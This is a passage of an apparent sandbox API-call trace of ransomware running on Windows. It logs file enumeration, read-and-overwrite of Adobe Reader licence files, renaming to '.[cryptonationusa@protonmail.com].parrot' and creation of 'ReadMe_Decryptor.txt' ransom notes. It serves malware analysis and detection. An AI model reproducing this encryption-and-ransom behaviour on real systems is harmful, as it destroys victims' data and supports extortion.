Size=0x1) returned 0x5d4c80 [0248.673] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0248.677] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\rus\\license.html"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\license.html.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\rus\\license.html.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0248.687] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0248.687] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0248.688] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0248.688] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a50d20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0248.688] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0248.688] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0248.688] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x478, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0248.688] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d5d8 [0248.688] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0248.688] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0248.690] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0248.690] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x478, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x478, lpOverlapped=0x0) returned 1 [0248.690] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0248.690] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0248.690] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0248.690] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0248.690] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\eula.ini" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\sky\\eula.ini"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\eula.ini.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\sky\\eula.ini.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0248.697] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0248.697] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0248.698] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0248.699] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x10d39, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x10d39, lpOverlapped=0x0) returned 1 [0248.699] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0248.703] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0248.703] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0248.703] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0248.706] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\sky\\license.html"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\license.html.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\sky\\license.html.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0248.713] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0248.713] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x20411380, ftLastAccessTime.dwHighDateTime=0x1d5e09e, ftLastWriteTime.dwLowDateTime=0x20411380, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0248.713] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x203eb220, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x598, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.ini.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="EULAIN~1.PAR")) returned 1 [0248.714] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5d9768 [0248.714] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d9768 | out: hHeap=0x5b0000) returned 1 [0248.714] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0248.715] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0248.715] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a50d20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0248.715] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0248.715] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0248.715] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x440, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0248.715] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d5d8 [0248.715] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0248.716] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0248.716] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0248.717] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0248.717] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x440, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x440, lpOverlapped=0x0) returned 1 [0248.717] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0248.717] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0248.717] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0248.718] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0248.718] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605320 [0248.718] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0248.718] GetLastError () returned 0x0 [0248.718] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0248.718] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0248.718] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0248.718] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0248.718] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0248.718] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0248.718] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0248.718] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0248.718] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0248.718] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0248.718] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0248.718] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0248.718] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0248.718] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0248.718] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0248.718] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0248.718] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0248.718] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0248.718] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605320 [0248.718] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0248.718] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5d51f8 [0248.718] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605320 | out: hHeap=0x5b0000) returned 1 [0248.718] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60baf8 [0248.719] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d51f8 | out: hHeap=0x5b0000) returned 1 [0248.719] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x315d788 [0248.719] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60baf8 | out: hHeap=0x5b0000) returned 1 [0248.719] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x2262060 [0248.719] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x315d788 | out: hHeap=0x5b0000) returned 1 [0248.719] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x22e9cb0 [0248.719] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2262060 | out: hHeap=0x5b0000) returned 1 [0248.719] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x6a5268 [0248.719] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22e9cb0 | out: hHeap=0x5b0000) returned 1 [0248.719] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x319e470 [0248.719] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a5268 | out: hHeap=0x5b0000) returned 1 [0248.719] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x3150060 [0248.719] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319e470 | out: hHeap=0x5b0000) returned 1 [0248.719] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x31ce4c8 [0248.719] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3150060 | out: hHeap=0x5b0000) returned 1 [0248.719] WriteFile (in: hFile=0x288, lpBuffer=0x31ce4c8*, nNumberOfBytesToWrite=0x568, lpNumberOfBytesWritten=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x31ce4c8*, lpNumberOfBytesWritten=0x18e8f4*=0x568, lpOverlapped=0x0) returned 1 [0248.722] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ce4c8 | out: hHeap=0x5b0000) returned 1 [0248.722] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x558, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0248.722] CloseHandle (hObject=0x288) returned 1 [0248.722] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x315d788 [0248.722] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0) returned 0x329aca0 [0248.723] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x315d788 | out: hHeap=0x5b0000) returned 1 [0248.723] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\eula.ini" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\slv\\eula.ini"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\eula.ini.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\slv\\eula.ini.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0248.724] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x329aca0 | out: hHeap=0x5b0000) returned 1 [0248.724] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0248.724] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69e650 | out: hHeap=0x5b0000) returned 1 [0248.724] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x31fcff8 [0248.724] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x3275a58 [0248.724] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0248.724] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0248.724] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\ReadMe_Decryptor.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\slv\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18e6e8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0248.727] GetFileType (hFile=0x288) returned 0x1 [0248.728] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x3178470 [0248.738] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0248.739] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0248.740] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0248.740] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xc2f5, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0xc2f5, lpOverlapped=0x0) returned 1 [0248.741] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0248.741] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0248.741] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0248.741] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0248.741] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605320 [0248.741] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0248.741] GetLastError () returned 0x0 [0248.742] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0248.742] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0248.742] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0248.742] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0248.742] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0248.742] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0248.742] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0248.742] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0248.742] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0248.742] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0248.742] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0248.742] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0248.742] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0248.742] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0248.742] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0248.742] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0248.742] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0248.743] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0248.743] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605320 [0248.743] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0248.743] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5d51f8 [0248.743] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605320 | out: hHeap=0x5b0000) returned 1 [0248.743] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60baf8 [0248.743] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d51f8 | out: hHeap=0x5b0000) returned 1 [0248.743] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x315d788 [0248.743] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60baf8 | out: hHeap=0x5b0000) returned 1 [0248.743] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x2262060 [0248.743] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x315d788 | out: hHeap=0x5b0000) returned 1 [0248.743] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x22e9cb0 [0248.743] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2262060 | out: hHeap=0x5b0000) returned 1 [0248.743] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x6a5268 [0248.743] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22e9cb0 | out: hHeap=0x5b0000) returned 1 [0248.743] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x319e470 [0248.743] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a5268 | out: hHeap=0x5b0000) returned 1 [0248.743] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x3150060 [0248.743] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319e470 | out: hHeap=0x5b0000) returned 1 [0248.743] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x31ce4c8 [0248.743] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3150060 | out: hHeap=0x5b0000) returned 1 [0248.743] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x22fe0c8 [0248.743] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ce4c8 | out: hHeap=0x5b0000) returned 1 [0248.743] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x31ac478 [0248.743] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22fe0c8 | out: hHeap=0x5b0000) returned 1 [0248.743] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x31fe550 [0248.743] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ac478 | out: hHeap=0x5b0000) returned 1 [0248.743] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x639220 [0248.743] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31fe550 | out: hHeap=0x5b0000) returned 1 [0248.743] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x329e548 [0248.743] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x639220 | out: hHeap=0x5b0000) returned 1 [0248.743] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x32a14e0 [0248.744] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x329e548 | out: hHeap=0x5b0000) returned 1 [0248.744] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6ad1) returned 0x32ba608 [0248.744] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32a14e0 | out: hHeap=0x5b0000) returned 1 [0248.744] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa028) returned 0x329e548 [0248.744] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32ba608 | out: hHeap=0x5b0000) returned 1 [0248.744] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf02a) returned 0x32ba608 [0248.744] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x329e548 | out: hHeap=0x5b0000) returned 1 [0248.744] WriteFile (in: hFile=0x288, lpBuffer=0x32ba620*, nNumberOfBytesToWrite=0xc418, lpNumberOfBytesWritten=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x32ba620*, lpNumberOfBytesWritten=0x18e8f4*=0xc418, lpOverlapped=0x0) returned 1 [0248.748] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32ba608 | out: hHeap=0x5b0000) returned 1 [0248.748] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xc40d, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0248.748] CloseHandle (hObject=0x288) returned 1 [0248.748] RtlAllocateHeap (HeapHandle=0x5b0000, 